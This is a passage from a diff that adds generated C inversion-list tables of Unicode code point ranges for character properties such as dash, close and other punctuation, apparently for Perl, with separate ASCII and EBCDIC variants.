+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_PC_invlist[] = { /* for EBCDIC 037 */
+	13,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x6D,
+	0x6E,
+	0x203F,
+	0x2041,
+	0x2054,
+	0x2055,
+	0xFE33,
+	0xFE35,
+	0xFE4D,
+	0xFE50,
+	0xFF3F,
+	0xFF40
+};
+
+#   endif	/* EBCDIC 037 */
+
+static const UV PL_PCM_invlist[] = { /* for all charsets */
+	11,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
 	0x600,
 	0x606,
+	0x6DD,
+	0x6DE,
+	0x70F,
+	0x710,
+	0x8E2,
+	0x8E3,
+	0x110BD,
+	0x110BE
+};
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_PD_invlist[] = { /* for ASCII/Latin1 */
+	35,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x2D,
+	0x2E,
+	0x58A,
+	0x58B,
+	0x5BE,
+	0x5BF,
+	0x1400,
+	0x1401,
+	0x1806,
+	0x1807,
+	0x2010,
+	0x2016,
+	0x2E17,
+	0x2E18,
+	0x2E1A,
+	0x2E1B,
+	0x2E3A,
+	0x2E3C,
+	0x2E40,
+	0x2E41,
+	0x301C,
+	0x301D,
+	0x3030,
+	0x3031,
+	0x30A0,
+	0x30A1,
+	0xFE31,
+	0xFE33,
+	0xFE58,
+	0xFE59,
+	0xFE63,
+	0xFE64,
+	0xFF0D,
+	0xFF0E
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_PD_invlist[] = { /* for EBCDIC 1047 */
+	35,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x60,
+	0x61,
+	0x58A,
+	0x58B,
+	0x5BE,
+	0x5BF,
+	0x1400,
+	0x1401,
+	0x1806,
+	0x1807,
+	0x2010,
+	0x2016,
+	0x2E17,
+	0x2E18,
+	0x2E1A,
+	0x2E1B,
+	0x2E3A,
+	0x2E3C,
+	0x2E40,
+	0x2E41,
+	0x301C,
+	0x301D,
+	0x3030,
+	0x3031,
+	0x30A0,
+	0x30A1,
+	0xFE31,
+	0xFE33,
+	0xFE58,
+	0xFE59,
+	0xFE63,
+	0xFE64,
+	0xFF0D,
+	0xFF0E
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_PD_invlist[] = { /* for EBCDIC 037 */
+	35,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x60,
+	0x61,
+	0x58A,
+	0x58B,
+	0x5BE,
+	0x5BF,
+	0x1400,
+	0x1401,
+	0x1806,
+	0x1807,
+	0x2010,
+	0x2016,
+	0x2E17,
+	0x2E18,
+	0x2E1A,
+	0x2E1B,
+	0x2E3A,
+	0x2E3C,
+	0x2E40,
+	0x2E41,
+	0x301C,
+	0x301D,
+	0x3030,
+	0x3031,
+	0x30A0,
+	0x30A1,
+	0xFE31,
+	0xFE33,
+	0xFE58,
+	0xFE59,
+	0xFE63,
+	0xFE64,
+	0xFF0D,
+	0xFF0E
+};
+
+#   endif	/* EBCDIC 037 */
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_PE_invlist[] = { /* for ASCII/Latin1 */
+	145,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x29,
+	0x2A,
+	0x5D,
+	0x5E,
+	0x7D,
+	0x7E,
+	0xF3B,
+	0xF3C,
+	0xF3D,
+	0xF3E,
+	0x169C,
+	0x169D,
+	0x2046,
+	0x2047,
+	0x207E,
+	0x207F,
+	0x208E,
+	0x208F,
+	0x2309,
+	0x230A,
+	0x230B,
+	0x230C,
+	0x232A,
+	0x232B,
+	0x2769,
+	0x276A,
+	0x276B,
+	0x276C,
+	0x276D,
+	0x276E,
+	0x276F,
+	0x2770,
+	0x2771,
+	0x2772,
+	0x2773,
+	0x2774,
+	0x2775,
+	0x2776,
+	0x27C6,
+	0x27C7,
+	0x27E7,
+	0x27E8,
+	0x27E9,
+	0x27EA,
+	0x27EB,
+	0x27EC,
+	0x27ED,
+	0x27EE,
+	0x27EF,
+	0x27F0,
+	0x2984,
+	0x2985,
+	0x2986,
+	0x2987,
+	0x2988,
+	0x2989,
+	0x298A,
+	0x298B,
+	0x298C,
+	0x298D,
+	0x298E,
+	0x298F,
+	0x2990,
+	0x2991,
+	0x2992,
+	0x2993,
+	0x2994,
+	0x2995,
+	0x2996,
+	0x2997,
+	0x2998,
+	0x2999,
+	0x29D9,
+	0x29DA,
+	0x29DB,
+	0x29DC,
+	0x29FD,
+	0x29FE,
+	0x2E23,
+	0x2E24,
+	0x2E25,
+	0x2E26,
+	0x2E27,
+	0x2E28,
+	0x2E29,
+	0x2E2A,
+	0x3009,
+	0x300A,
+	0x300B,
+	0x300C,
+	0x300D,
+	0x300E,
+	0x300F,
+	0x3010,
+	0x3011,
+	0x3012,
+	0x3015,
+	0x3016,
+	0x3017,
+	0x3018,
+	0x3019,
+	0x301A,
+	0x301B,
+	0x301C,
+	0x301E,
+	0x3020,
+	0xFD3E,
+	0xFD3F,
+	0xFE18,
+	0xFE19,
+	0xFE36,
+	0xFE37,
+	0xFE38,
+	0xFE39,
+	0xFE3A,
+	0xFE3B,
+	0xFE3C,
+	0xFE3D,
+	0xFE3E,
+	0xFE3F,
+	0xFE40,
+	0xFE41,
+	0xFE42,
+	0xFE43,
+	0xFE44,
+	0xFE45,
+	0xFE48,
+	0xFE49,
+	0xFE5A,
+	0xFE5B,
+	0xFE5C,
+	0xFE5D,
+	0xFE5E,
+	0xFE5F,
+	0xFF09,
+	0xFF0A,
+	0xFF3D,
+	0xFF3E,
+	0xFF5D,
+	0xFF5E,
+	0xFF60,
+	0xFF61,
+	0xFF63,
+	0xFF64
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_PE_invlist[] = { /* for EBCDIC 1047 */
+	145,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x5D,
+	0x5E,
+	0xBD,
+	0xBE,
+	0xD0,
+	0xD1,
+	0xF3B,
+	0xF3C,
+	0xF3D,
+	0xF3E,
+	0x169C,
+	0x169D,
+	0x2046,
+	0x2047,
+	0x207E,
+	0x207F,
+	0x208E,
+	0x208F,
+	0x2309,
+	0x230A,
+	0x230B,
+	0x230C,
+	0x232A,
+	0x232B,
+	0x2769,
+	0x276A,
+	0x276B,
+	0x276C,
+	0x276D,
+	0x276E,
+	0x276F,
+	0x2770,
+	0x2771,
+	0x2772,
+	0x2773,
+	0x2774,
+	0x2775,
+	0x2776,
+	0x27C6,
+	0x27C7,
+	0x27E7,
+	0x27E8,
+	0x27E9,
+	0x27EA,
+	0x27EB,
+	0x27EC,
+	0x27ED,
+	0x27EE,
+	0x27EF,
+	0x27F0,
+	0x2984,
+	0x2985,
+	0x2986,
+	0x2987,
+	0x2988,
+	0x2989,
+	0x298A,
+	0x298B,
+	0x298C,
+	0x298D,
+	0x298E,
+	0x298F,
+	0x2990,
+	0x2991,
+	0x2992,
+	0x2993,
+	0x2994,
+	0x2995,
+	0x2996,
+	0x2997,
+	0x2998,
+	0x2999,
+	0x29D9,
+	0x29DA,
+	0x29DB,
+	0x29DC,
+	0x29FD,
+	0x29FE,
+	0x2E23,
+	0x2E24,
+	0x2E25,
+	0x2E26,
+	0x2E27,
+	0x2E28,
+	0x2E29,
+	0x2E2A,
+	0x3009,
+	0x300A,
+	0x300B,
+	0x300C,
+	0x300D,
+	0x300E,
+	0x300F,
+	0x3010,
+	0x3011,
+	0x3012,
+	0x3015,
+	0x3016,
+	0x3017,
+	0x3018,
+	0x3019,
+	0x301A,
+	0x301B,
+	0x301C,
+	0x301E,
+	0x3020,
+	0xFD3E,
+	0xFD3F,
+	0xFE18,
+	0xFE19,
+	0xFE36,
+	0xFE37,
+	0xFE38,
+	0xFE39,
+	0xFE3A,
+	0xFE3B,
+	0xFE3C,
+	0xFE3D,
+	0xFE3E,
+	0xFE3F,
+	0xFE40,
+	0xFE41,
+	0xFE42,
+	0xFE43,
+	0xFE44,
+	0xFE45,
+	0xFE48,
+	0xFE49,
+	0xFE5A,
+	0xFE5B,
+	0xFE5C,
+	0xFE5D,
+	0xFE5E,
+	0xFE5F,
+	0xFF09,
+	0xFF0A,
+	0xFF3D,
+	0xFF3E,
+	0xFF5D,
+	0xFF5E,
+	0xFF60,
+	0xFF61,
+	0xFF63,
+	0xFF64
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_PE_invlist[] = { /* for EBCDIC 037 */
+	145,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x5D,
+	0x5E,
+	0xBB,
+	0xBC,
+	0xD0,
+	0xD1,
+	0xF3B,
+	0xF3C,
+	0xF3D,
+	0xF3E,
+	0x169C,
+	0x169D,
+	0x2046,
+	0x2047,
+	0x207E,
+	0x207F,
+	0x208E,
+	0x208F,
+	0x2309,
+	0x230A,
+	0x230B,
+	0x230C,
+	0x232A,
+	0x232B,
+	0x2769,
+	0x276A,
+	0x276B,
+	0x276C,
+	0x276D,
+	0x276E,
+	0x276F,
+	0x2770,
+	0x2771,
+	0x2772,
+	0x2773,
+	0x2774,
+	0x2775,
+	0x2776,
+	0x27C6,
+	0x27C7,
+	0x27E7,
+	0x27E8,
+	0x27E9,
+	0x27EA,
+	0x27EB,
+	0x27EC,
+	0x27ED,
+	0x27EE,
+	0x27EF,
+	0x27F0,
+	0x2984,
+	0x2985,
+	0x2986,
+	0x2987,
+	0x2988,
+	0x2989,
+	0x298A,
+	0x298B,
+	0x298C,
+	0x298D,
+	0x298E,
+	0x298F,
+	0x2990,
+	0x2991,
+	0x2992,
+	0x2993,
+	0x2994,
+	0x2995,
+	0x2996,
+	0x2997,
+	0x2998,
+	0x2999,
+	0x29D9,
+	0x29DA,
+	0x29DB,
+	0x29DC,
+	0x29FD,
+	0x29FE,
+	0x2E23,
+	0x2E24,
+	0x2E25,
+	0x2E26,
+	0x2E27,
+	0x2E28,
+	0x2E29,
+	0x2E2A,
+	0x3009,
+	0x300A,
+	0x300B,
+	0x300C,
+	0x300D,
+	0x300E,
+	0x300F,
+	0x3010,
+	0x3011,
+	0x3012,
+	0x3015,
+	0x3016,
+	0x3017,
+	0x3018,
+	0x3019,
+	0x301A,
+	0x301B,
+	0x301C,
+	0x301E,
+	0x3020,
+	0xFD3E,
+	0xFD3F,
+	0xFE18,
+	0xFE19,
+	0xFE36,
+	0xFE37,
+	0xFE38,
+	0xFE39,
+	0xFE3A,
+	0xFE3B,
+	0xFE3C,
+	0xFE3D,
+	0xFE3E,
+	0xFE3F,
+	0xFE40,
+	0xFE41,
+	0xFE42,
+	0xFE43,
+	0xFE44,
+	0xFE45,
+	0xFE48,
+	0xFE49,
+	0xFE5A,
+	0xFE5B,
+	0xFE5C,
+	0xFE5D,
+	0xFE5E,
+	0xFE5F,
+	0xFF09,
+	0xFF0A,
+	0xFF3D,
+	0xFF3E,
+	0xFF5D,
+	0xFF5E,
+	0xFF60,
+	0xFF61,
+	0xFF63,
+	0xFF64
+};
+
+#   endif	/* EBCDIC 037 */
+
+static const UV PL_PERM_invlist[] = { /* for all charsets */
+	5,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x483,
+	0x484,
+	0x10350,
+	0x1037B
+};
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_PF_invlist[] = { /* for ASCII/Latin1 */
+	21,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xBB,
+	0xBC,
+	0x2019,
+	0x201A,
+	0x201D,
+	0x201E,
+	0x203A,
+	0x203B,
+	0x2E03,
+	0x2E04,
+	0x2E05,
+	0x2E06,
+	0x2E0A,
+	0x2E0B,
+	0x2E0D,
+	0x2E0E,
+	0x2E1D,
+	0x2E1E,
+	0x2E21,
+	0x2E22
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_PF_invlist[] = { /* for EBCDIC 1047 */
+	21,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x8B,
+	0x8C,
+	0x2019,
+	0x201A,
+	0x201D,
+	0x201E,
+	0x203A,
+	0x203B,
+	0x2E03,
+	0x2E04,
+	0x2E05,
+	0x2E06,
+	0x2E0A,
+	0x2E0B,
+	0x2E0D,
+	0x2E0E,
+	0x2E1D,
+	0x2E1E,
+	0x2E21,
+	0x2E22
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_PF_invlist[] = { /* for EBCDIC 037 */
+	21,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x8B,
+	0x8C,
+	0x2019,
+	0x201A,
+	0x201D,
+	0x201E,
+	0x203A,
+	0x203B,
+	0x2E03,
+	0x2E04,
+	0x2E05,
+	0x2E06,
+	0x2E0A,
+	0x2E0B,
+	0x2E0D,
+	0x2E0E,
+	0x2E1D,
+	0x2E1E,
+	0x2E21,
+	0x2E22
+};
+
+#   endif	/* EBCDIC 037 */
+
+static const UV PL_PHAG_invlist[] = { /* for all charsets */
+	7,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x1802,
+	0x1804,
+	0x1805,
+	0x1806,
+	0xA840,
+	0xA878
+};
+
+static const UV PL_PHAISTOS_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x101D0,
+	0x10200
+};
+
+static const UV PL_PHLI_invlist[] = { /* for all charsets */
+	5,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x10B60,
+	0x10B73,
+	0x10B78,
+	0x10B80
+};
+
+static const UV PL_PHLP_invlist[] = { /* for all charsets */
+	9,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x640,
+	0x641,
+	0x10B80,
+	0x10B92,
+	0x10B99,
+	0x10B9D,
+	0x10BA9,
+	0x10BB0
+};
+
+static const UV PL_PHNX_invlist[] = { /* for all charsets */
+	5,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x10900,
+	0x1091C,
+	0x1091F,
+	0x10920
+};
+
+static const UV PL_PHONETICEXT_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x1D00,
+	0x1D80
+};
+
+static const UV PL_PHONETICEXTSUP_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x1D80,
+	0x1DC0
+};
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_PI_invlist[] = { /* for ASCII/Latin1 */
+	23,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xAB,
+	0xAC,
+	0x2018,
+	0x2019,
+	0x201B,
+	0x201D,
+	0x201F,
+	0x2020,
+	0x2039,
+	0x203A,
+	0x2E02,
+	0x2E03,
+	0x2E04,
+	0x2E05,
+	0x2E09,
+	0x2E0A,
+	0x2E0C,
+	0x2E0D,
+	0x2E1C,
+	0x2E1D,
+	0x2E20,
+	0x2E21
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_PI_invlist[] = { /* for EBCDIC 1047 */
+	23,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x8A,
+	0x8B,
+	0x2018,
+	0x2019,
+	0x201B,
+	0x201D,
+	0x201F,
+	0x2020,
+	0x2039,
+	0x203A,
+	0x2E02,
+	0x2E03,
+	0x2E04,
+	0x2E05,
+	0x2E09,
+	0x2E0A,
+	0x2E0C,
+	0x2E0D,
+	0x2E1C,
+	0x2E1D,
+	0x2E20,
+	0x2E21
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_PI_invlist[] = { /* for EBCDIC 037 */
+	23,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x8A,
+	0x8B,
+	0x2018,
+	0x2019,
+	0x201B,
+	0x201D,
+	0x201F,
+	0x2020,
+	0x2039,
+	0x203A,
+	0x2E02,
+	0x2E03,
+	0x2E04,
+	0x2E05,
+	0x2E09,
+	0x2E0A,
+	0x2E0C,
+	0x2E0D,
+	0x2E1C,
+	0x2E1D,
+	0x2E20,
+	0x2E21
+};
+
+#   endif	/* EBCDIC 037 */
+
+static const UV PL_PLAYINGCARDS_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x1F0A0,
+	0x1F100
+};
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_PO_invlist[] = { /* for ASCII/Latin1 */
+	339,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x21,
+	0x24,
+	0x25,
+	0x28,
+	0x2A,
+	0x2B,
+	0x2C,
+	0x2D,
+	0x2E,
+	0x30,
+	0x3A,
+	0x3C,
+	0x3F,
+	0x41,
+	0x5C,
+	0x5D,
+	0xA1,
+	0xA2,
+	0xA7,
+	0xA8,
+	0xB6,
+	0xB8,
+	0xBF,
+	0xC0,
+	0x37E,
+	0x37F,
+	0x387,
+	0x388,
+	0x55A,
+	0x560,
+	0x589,
+	0x58A,
+	0x5C0,
+	0x5C1,
+	0x5C3,
+	0x5C4,
+	0x5C6,
+	0x5C7,
+	0x5F3,
+	0x5F5,
+	0x609,
+	0x60B,
 	0x60C,
 	0x60E,
-	0x610,
 	0x61B,
 	0x61C,
-	0x61D,
-	0x61F,
+	0x61E,
 	0x620,
+	0x66A,
+	0x66E,
+	0x6D4,
+	0x6D5,
+	0x700,
+	0x70E,
+	0x7F7,
+	0x7FA,
+	0x830,
+	0x83F,
+	0x85E,
+	0x85F,
+	0x964,
+	0x966,
+	0x970,
+	0x971,
+	0x9FD,
+	0x9FE,
+	0xAF0,
+	0xAF1,
+	0xDF4,
+	0xDF5,
+	0xE4F,
+	0xE50,
+	0xE5A,
+	0xE5C,
+	0xF04,
+	0xF13,
+	0xF14,
+	0xF15,
+	0xF85,
+	0xF86,
+	0xFD0,
+	0xFD5,
+	0xFD9,
+	0xFDB,
+	0x104A,
+	0x1050,
+	0x10FB,
+	0x10FC,
+	0x1360,
+	0x1369,
+	0x166D,
+	0x166F,
+	0x16EB,
+	0x16EE,
+	0x1735,
+	0x1737,
+	0x17D4,
+	0x17D7,
+	0x17D8,
+	0x17DB,
+	0x1800,
+	0x1806,
+	0x1807,
+	0x180B,
+	0x1944,
+	0x1946,
+	0x1A1E,
+	0x1A20,
+	0x1AA0,
+	0x1AA7,
+	0x1AA8,
+	0x1AAE,
+	0x1B5A,
+	0x1B61,
+	0x1BFC,
+	0x1C00,
+	0x1C3B,
+	0x1C40,
+	0x1C7E,
+	0x1C80,
+	0x1CC0,
+	0x1CC8,
+	0x1CD3,
+	0x1CD4,
+	0x2016,
+	0x2018,
+	0x2020,
+	0x2028,
+	0x2030,
+	0x2039,
+	0x203B,
+	0x203F,
+	0x2041,
+	0x2044,
+	0x2047,
+	0x2052,
+	0x2053,
+	0x2054,
+	0x2055,
+	0x205F,
+	0x2CF9,
+	0x2CFD,
+	0x2CFE,
+	0x2D00,
+	0x2D70,
+	0x2D71,
+	0x2E00,
+	0x2E02,
+	0x2E06,
+	0x2E09,
+	0x2E0B,
+	0x2E0C,
+	0x2E0E,
+	0x2E17,
+	0x2E18,
+	0x2E1A,
+	0x2E1B,
+	0x2E1C,
+	0x2E1E,
+	0x2E20,
+	0x2E2A,
+	0x2E2F,
+	0x2E30,
+	0x2E3A,
+	0x2E3C,
+	0x2E40,
+	0x2E41,
+	0x2E42,
+	0x2E43,
+	0x2E4A,
+	0x3001,
+	0x3004,
+	0x303D,
+	0x303E,
+	0x30FB,
+	0x30FC,
+	0xA4FE,
+	0xA500,
+	0xA60D,
+	0xA610,
+	0xA673,
+	0xA674,
+	0xA67E,
+	0xA67F,
+	0xA6F2,
+	0xA6F8,
+	0xA874,
+	0xA878,
+	0xA8CE,
+	0xA8D0,
+	0xA8F8,
+	0xA8FB,
+	0xA8FC,
+	0xA8FD,
+	0xA92E,
+	0xA930,
+	0xA95F,
+	0xA960,
+	0xA9C1,
+	0xA9CE,
+	0xA9DE,
+	0xA9E0,
+	0xAA5C,
+	0xAA60,
+	0xAADE,
+	0xAAE0,
+	0xAAF0,
+	0xAAF2,
+	0xABEB,
+	0xABEC,
+	0xFE10,
+	0xFE17,
+	0xFE19,
+	0xFE1A,
+	0xFE30,
+	0xFE31,
+	0xFE45,
+	0xFE47,
+	0xFE49,
+	0xFE4D,
+	0xFE50,
+	0xFE53,
+	0xFE54,
+	0xFE58,
+	0xFE5F,
+	0xFE62,
+	0xFE68,
+	0xFE69,
+	0xFE6A,
+	0xFE6C,
+	0xFF01,
+	0xFF04,
+	0xFF05,
+	0xFF08,
+	0xFF0A,
+	0xFF0B,
+	0xFF0C,
+	0xFF0D,
+	0xFF0E,
+	0xFF10,
+	0xFF1A,
+	0xFF1C,
+	0xFF1F,
+	0xFF21,
+	0xFF3C,
+	0xFF3D,
+	0xFF61,
+	0xFF62,
+	0xFF64,
+	0xFF66,
+	0x10100,
+	0x10103,
+	0x1039F,
+	0x103A0,
+	0x103D0,
+	0x103D1,
+	0x1056F,
+	0x10570,
+	0x10857,
+	0x10858,
+	0x1091F,
+	0x10920,
+	0x1093F,
+	0x10940,
+	0x10A50,
+	0x10A59,
+	0x10A7F,
+	0x10A80,
+	0x10AF0,
+	0x10AF7,
+	0x10B39,
+	0x10B40,
+	0x10B99,
+	0x10B9D,
+	0x11047,
+	0x1104E,
+	0x110BB,
+	0x110BD,
+	0x110BE,
+	0x110C2,
+	0x11140,
+	0x11144,
+	0x11174,
+	0x11176,
+	0x111C5,
+	0x111CA,
+	0x111CD,
+	0x111CE,
+	0x111DB,
+	0x111DC,
+	0x111DD,
+	0x111E0,
+	0x11238,
+	0x1123E,
+	0x112A9,
+	0x112AA,
+	0x1144B,
+	0x11450,
+	0x1145B,
+	0x1145C,
+	0x1145D,
+	0x1145E,
+	0x114C6,
+	0x114C7,
+	0x115C1,
+	0x115D8,
+	0x11641,
+	0x11644,
+	0x11660,
+	0x1166D,
+	0x1173C,
+	0x1173F,
+	0x11A3F,
+	0x11A47,
+	0x11A9A,
+	0x11A9D,
+	0x11A9E,
+	0x11AA3,
+	0x11C41,
+	0x11C46,
+	0x11C70,
+	0x11C72,
+	0x12470,
+	0x12475,
+	0x16A6E,
+	0x16A70,
+	0x16AF5,
+	0x16AF6,
+	0x16B37,
+	0x16B3C,
+	0x16B44,
+	0x16B45,
+	0x1BC9F,
+	0x1BCA0,
+	0x1DA87,
+	0x1DA8C,
+	0x1E95E,
+	0x1E960
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_PO_invlist[] = { /* for EBCDIC 1047 */
+	343,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x4B,
+	0x4C,
+	0x50,
+	0x51,
+	0x5A,
+	0x5B,
+	0x5C,
+	0x5D,
+	0x5E,
+	0x5F,
+	0x61,
+	0x62,
+	0x6B,
+	0x6D,
+	0x6F,
+	0x70,
+	0x7A,
+	0x7E,
+	0x7F,
+	0x80,
+	0xAA,
+	0xAC,
+	0xB3,
+	0xB4,
+	0xB5,
+	0xB7,
+	0xE0,
+	0xE1,
+	0x37E,
+	0x37F,
+	0x387,
+	0x388,
+	0x55A,
+	0x560,
+	0x589,
+	0x58A,
+	0x5C0,
+	0x5C1,
+	0x5C3,
+	0x5C4,
+	0x5C6,
+	0x5C7,
+	0x5F3,
+	0x5F5,
+	0x609,
+	0x60B,
+	0x60C,
+	0x60E,
+	0x61B,
+	0x61C,
+	0x61E,
+	0x620,
+	0x66A,
+	0x66E,
+	0x6D4,
+	0x6D5,
+	0x700,
+	0x70E,
+	0x7F7,
+	0x7FA,
+	0x830,
+	0x83F,
+	0x85E,
+	0x85F,
+	0x964,
+	0x966,
+	0x970,
+	0x971,
+	0x9FD,
+	0x9FE,
+	0xAF0,
+	0xAF1,
+	0xDF4,
+	0xDF5,
+	0xE4F,
+	0xE50,
+	0xE5A,
+	0xE5C,
+	0xF04,
+	0xF13,
+	0xF14,
+	0xF15,
+	0xF85,
+	0xF86,
+	0xFD0,
+	0xFD5,
+	0xFD9,
+	0xFDB,
+	0x104A,
+	0x1050,
+	0x10FB,
+	0x10FC,
+	0x1360,
+	0x1369,
+	0x166D,
+	0x166F,
+	0x16EB,
+	0x16EE,
+	0x1735,
+	0x1737,
+	0x17D4,
+	0x17D7,
+	0x17D8,
+	0x17DB,
+	0x1800,
+	0x1806,
+	0x1807,
+	0x180B,
+	0x1944,
+	0x1946,
+	0x1A1E,
+	0x1A20,
+	0x1AA0,
+	0x1AA7,
+	0x1AA8,
+	0x1AAE,
+	0x1B5A,
+	0x1B61,
+	0x1BFC,
+	0x1C00,
+	0x1C3B,
+	0x1C40,
+	0x1C7E,
+	0x1C80,
+	0x1CC0,
+	0x1CC8,
+	0x1CD3,
+	0x1CD4,
+	0x2016,
+	0x2018,
+	0x2020,
+	0x2028,
+	0x2030,
+	0x2039,
+	0x203B,
+	0x203F,
+	0x2041,
+	0x2044,
+	0x2047,
+	0x2052,
